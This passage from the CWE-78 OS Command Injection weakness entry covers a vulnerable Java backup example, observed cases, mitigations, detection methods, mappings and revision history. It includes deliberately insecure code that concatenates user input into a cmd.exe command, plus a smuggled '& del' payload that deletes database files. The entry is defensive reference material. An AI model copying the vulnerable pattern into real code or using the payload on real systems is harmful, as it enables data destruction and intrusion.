However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 5

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

+ Observed Examples
ReferenceDescription
Canonical example. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Web server allows command execution using "|" (pipe) character.
FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
Shell metacharacters in a filename in a ZIP archive
Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
OS command injection through environment variable.
OS command injection through https:// URLs
Chain: incomplete blacklist for OS command injection
Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Program Invocation
+ Affected Resources
  • System Process
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.714OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding (2008 Version) Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding (2008 Version) Section 10 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
+ Notes

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROS Command Injection
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV33-CCWE More SpecificDo not call system()
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC31OS Commanding
CERT Java Secure CodingIDS07-JDo not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>.
[REF-685] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>.
[REF-686] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/OS-Commanding>.
[REF-687] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <http://www.w3.org/Security/Faq/wwwsf4.html>.
[REF-688] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <http://www.cgisecurity.com/lib/sips.html>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[REF-690] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name, Related_Attack_Patterns
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Description, Name, White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, References
2009-12-28CWE Content TeamMITRE
updated Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11OS Command Injection
2009-01-12Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')
2009-05-27Failure to Preserve OS Command Structure (aka 'OS Command Injection')
2009-07-27Failure to Preserve OS Command Structure ('OS Command Injection')
2010-06-21Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89
Abstraction: Base
Structure: Simple